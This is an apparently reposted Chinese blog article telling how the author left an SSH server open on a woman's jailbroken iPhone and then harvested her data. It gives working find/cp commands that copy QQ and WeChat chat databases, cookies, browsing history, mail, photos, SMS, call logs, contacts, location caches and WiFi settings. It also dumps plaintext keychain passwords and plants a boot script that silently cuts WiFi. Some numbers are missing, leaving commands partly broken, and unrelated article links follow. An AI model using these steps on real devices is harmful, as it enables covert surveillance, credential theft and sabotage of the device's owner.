隐匿在iOS文件系统中的隐私信息
说明:
. 本文仅供安全学习及教学用途,提及的部分技术带有攻击性,请确保合法使用。
. “这些都不是我干的,我就负责说出来。”
. 图片仅供参考。
. 本文所讨论的内容适用于iOS .4环境,其应用程序数据文件夹在/var/mobile/Containers/Data/。不同系统版本的文件位置以及内容形式有差异
0×00 前言
女神是神奇的,那天她找我,问我怎么把她越狱iPhone的iapfree卸载。我拿来看,发现她很不机智,把对应的软件源删除了。憋住笑,我边给她科普软件源,apt,blabla,边顺手下了个ssh服务端,然后用我的iPad 连上去,dpkg -r解决问题。在她不明觉厉的崇拜的目光里我深藏功与名,还有敞开的22端口。
然而,有了root,我能翻到什么呢?
是时候研究一番了!
0×01 聊天信息
iOS 8是丧病的,应用文件夹用hash命名。但是可以搜索啊!
QQ: QQ.db
mkdir /spy
mkdir /spy/QQ
find /var/mobile/Containers/Data -name "QQ.db" |xargs -I {} dirname {} | xargs -I {} cp -r {}/../../ /spy/QQ
打开sqlite数据库惊喜地发现全是明文,安卓好歹异或了一下。
微信:MM.sqlite
mkdir /spy/WC
find /var/mobile/Containers/Data -name "MM.sqlite" |xargs -I {} dirname {} | xargs -I {} cp -r {}/../../ /spy/WC
有了聊天记录,可以好好发挥了。
注意:上述命令复制了所有微信和qq的数据,但是实际操作会发现缓存文件太多严重影响sftp速度,可以考虑压缩一下再sftp传回来,或者放弃图片和语音,只取数据库文件。
0×02 输入法缓存
利用系统输入法自动更正的字符串输入记录。缓存文件的地址是:/private/var/mobile/Library/Keyboard/dynamic-text.dat
mkdir /spy/keyboard
cp /private/var/mobile/Library/Keyboard/dynamic-text.dat /spy/keyboard
可以看到该文件以十六进制的00 xx 00 作为字符分割符,也许xx就是使用的次数。
由于密码键盘不开启自动补全一类功能,此处只能找一些用户使用过的比较特殊的词语。如果用户患有严重手癌,想必能留下不少东西。
0×03 浏览器敏感信息
Cookie:
拷贝Safari的cookie
mkdir /spy/browsermkdir /spy/browser/safaricp -r /var/mobile/Library/Cookies/ /spy/browser/safari
不只是浏览器,很多应用都用http做网络编程,或者内嵌浏览器进行内容显示,自然保存了好多cookie
find /var/mobile/Containers/Data -name "*.binarycookies" | xargs -I {} cat {} > /spy/browser/all.cookies
注意:所有cookie都堆进一个文件显然不行,分析的时候得用“cook”的文件头分割一下。
Cookie储存成二进制了,需要使用工具BinaryCookieReader
历史记录,书签,和打开的页面截图:
find /var/mobile/Containers/Data -name "History.db" |xargs -I {} dirname {} | xargs -I {} cp -r {}/../ /spy/browser/safari
cp /var/mobile/Library/Safari/Bookmarks.db /spy/browser/safari
书签
历史记录
打开的页面
其中打开的页面截图很有意思,即使是无痕浏览也存在。因而完全可以写个脚本不停地记录这些文件,用户整个网页浏览足迹就清晰可见了
0×04 邮件
mkdir /spy/mailcp -r /var/mobile/Library/Mail /spy/mail
觉得内容不重要,毕竟要是不介意动静大点的话有keychain里面的明文密码呢,但是这么多附件挺值得研究的。
0×05 照片
mkdir /spy/photoscp -r /private/var/mobile/Media/DCIM /spy/photos
0×06 短信,联系人,通话记录
mkdir /spy/phone
cp -r /private/var/mobile/Library/SMS/*.db /spy/phone
cp -r /private/var/mobile/Library/CallHistory/ /spy/phone
cp -r /private/var/mobile/Library/AddressBook/*.sqlitedb /spy/phone
0×07 定位信息
很早苹果就被曝出收集用户常去地点。现在常去地点服务的数据是难以翻到了,但是应用的定位缓存并没有加密,一览无余。
mkdir /spy/location
cp /var/root/Library/Caches/locationd/*.db /spy/location
如图,wifi路由的mac以及地理位置被清晰地记录。
显然,苹果坑得一手好爹。。。
0×08 keychain
苹果的钥匙串里面包括wifi,邮件,苹果账户,vpn,和部分应用软件(比如百度云)的明文密码,还有ssl的密钥
首先需要上传工具
chmod +x ./keychain_dumper
./keychain_dumper >/spy/keychain.txt
上图是vpn的
随便瞪两眼都重量级的密码:
苹果的:
Generic Password
----------------
Service: com.apple.account.AppleIDAuthentication.password
Account: ********--48F5-AF51-372003B9****
Entitlement Group: apple
Label: (null)
Generic Field: (null)
Keychain Data: **********
百度的:
Generic Password
----------------
Service:
Account: **********
Entitlement Group: B83JBVZ6M5.com.baidu.netdisk-iPad
Label: **********yWHJsMVVmWEcwS0doaVZuQTU0SktxU25LYW1xVm4xQzZsTUdkfmRWQVFBQUFBJCQAAAAAAAAAAAEAAAB3I88aMTAwNTMwODc3NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbqz1*******
Generic Field: bduser
Keychain Data: ********
其余同理
0×09 后台应用截图
/private/var/mobile/Library/Caches/Snapshots
还有各个应用文件夹内的Snapshots 文件夹
但是一直被占用只能用ifile看看
0x0A wifi信息
所有无线网络相关的信息都保存在/var/preferences/SystemConfiguration/com.apple.wifi.plist
mkdir /spy/wifi
cp /var/preferences/SystemConfiguration/com.apple.wifi.plist /spy/wifi
0x0B 严重的后果
苹果帐号密码可以用于远程定位,锁定,骚扰(findmyiphone)。
有wifi密码、ssid、wifi位置!基本上用户所在的内网已经悲剧了。
cookie可以用于登录各种网站。
邮件可以随便看,往往有一些重要的文档。
定位信息可以找出常去的地点,没准可以“邂逅”呢
聊天记录,联系人信息,通话记录,照片这些个人隐私嘛。。。此处略去一万字。。。
综上,后果很严重。
0x0C 创造更严重的后果
/etc/rc.d/里面建个文本文档
写点什么,比如
while ((==)); do ifconfig en0 down ;sleep ; done
可以在完全不被察觉的情况下让目标打死都连不上wifi
可见,我们手中的越狱iOS设备不修改ssh默认密码是一件多么危险的事情
或者说,作为女神的iPhone,删除软件源不自动删除从该源安装的软件,是多么坑爹。
隐匿在iOS文件系统中的隐私信息的更多相关文章
- 使用pdfFactory隐藏文档中的隐私信息
分享PDF文档时,文档中可能会存在一些隐私信息,比如用户名.用户的邮件地址.电话号码等信息.为了更好地保护原有文档内容的完整性,大家可以在生成PDF时,使用pdfFactory的隐藏信息功能,删除或遮 ...
- iOS 关于图片地理位置隐私信息的分析和读取
今天突然想到微信朋友圈发照片,涉及个人隐私的地理位置是否外泄.因为iphone拍照的照片都会带有地理位置等信息,我们先来实现怎么读取里面的安全信息,然后再来分析 #import "ViewC ...
- iOS开发中获取WiFi相关信息
iOS 开发中难免会遇到很多与网络方面的判断,这里做个汇总,大多可能是与WiFi相关的. 1.Ping域名.Ping某IP 有 时候可能会遇到ping 某个域名或者ip通不通,再做下一步操作.这里的p ...
- iOS已发布应用中对异常信息捕获和处理
iOS已发布应用中对异常信息捕获和处理 iOS开发中我们会遇到程序抛出异常退出的情况,如果是在调试的过程中,异常的信息是一目了然,但是如果是在已经发布的程序中,获取异常的信息有时候是比较困难的. iO ...
- iOS利用HealthKit框架从健康app中获取步数信息
微信和QQ的每日步数最近十分火爆,我就想为自己写的项目中添加一个显示每日步数的功能,上网一搜好像并有相关的详细资料,自己动手丰衣足食. 统计步数信息并不需要我们自己去实现,iOS自带的健康app已经为 ...
- iOS 整理笔记 获取手机信息(UIDevice、NSBundle、NSLocale)
/* iOS的APP的应用开发的过程中,有时为了bug跟踪或者获取用反馈的需要自动收集用户设备.系统信息.应用信息等等,这些信息方便开发者诊断问题,当然这些信息是用户的非隐私信息,是通过开发ap ...
- iOS开发中关于UIImage的知识点总结
UIImage是iOS中层级比较高的一个用来加载和绘制图像的一个类,更底层的类还有 CGImage,以及iOS5.0以后新增加的CIImage.今天我们主要聊一聊UIImage的三个属性: image ...
- 怎样实现IOS开发中的数据存储方式
iOS 开发中,一般有如下几种数据存储方式.需要根据具体的业务场景,选择 合适的数据存储方式. (1) 用户默认设置 – 这种情况通常不需要用户干预,如游戏通关信息,Video 播放记录,或者 Ap ...
- ios开发-获取手机相关信息
今天在做客户端的时候,里面有个意见反馈功能. 调用系统带的邮件功能,发送邮件到指定邮箱. 然后我就想,应该在邮件正文部分添加手机相关内容,比如型号,版本,应用程序的版本等等,这样不仅使用者方便,开发者 ...
随机推荐
- 覆盖的面积(HDU 1255 线段树)
覆盖的面积 Time Limit: 10000/5000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Problem D ...
- 如何修改mysql用户名和密码
如何修改mysql用户名和密码 以修改mysql的root密码为例修改的三种方法 方法1: 用SET PASSWORD命令 mysql>SET PASSWORD FOR 'root'@'lo ...
- createjs 的 bitmapdata类
今天测试一个功能,在效率上出现了问题.2D舞台绘制了大量的元素,联想到AS3的 bitmapdata.darw() 功能,遗憾是createjs官方类 中没有bitmapdata类. 好在已经有大神替 ...
- 深入浅出设计模式——备忘录模式(Memento Pattern)
模式动机 为了使软件的使用更加人性化,对于误操作,我们需要提供一种类似“后悔药”的机制,让软件系统可以回到误操作前的状态,因此需要保存用户每一次操作时系统的状态,一旦出现误操作,可以把存储的历史状态取 ...
- win10离线安装.net framework 3.5
1.挂载win10系统镜像 2.执行命令 Dism /online /enable-feature /featurename:NetFX3 /All /Source:I:\sources\sxs /L ...
- MFC编程入门之十三(对话框:属性页对话框及相关类的介绍)
前面讲了模态对话框和非模态对话框,本节来将一种特殊的对话框--属性页对话框. 属性页对话框的分类 属性页对话框想必大家并不陌生,XP系统中桌面右键点属性,弹出的就是属性页对话框,它通过标签切换各个页面 ...
- 再说最后一次!关于不再更新SkySRS的理由!
再说最后一次!关于不再更新SkySRS的理由! https://www.itiankong.net/thread-195937-1-1.html Skyfree 发表于 2012-5-1 14:53: ...
- 浅谈HTTP协议(下)
下面来讲响应消息.响应消息也分为响应起始行.响应头部.CRLF.响应主体. 响应起始行包括协议版本.响应状态码.原因短句.这里的重点就是响应状态码,它一共分为5类,状态码准确的说是一个三位数. 1xx ...
- mysql 基础篇1
1 引入 数据保存到内存: 优点: 1)读写非常快 缺点: 1)程序关闭导致数据丢失 数据保存到文件: 优点: 1)数据可以永久保存 缺点: 1)频繁地IO操作,效率不高! 2)数据管理不方便.例如查 ...
- Python之路 day1 用户登录多次被锁定
编写登陆接口: 输入用户名密码 认证成功后显示欢迎信息 输错三次后锁定 #Author:ersa import getpass,os,sys #读取账户信息到内存中 try: accounts_fil ...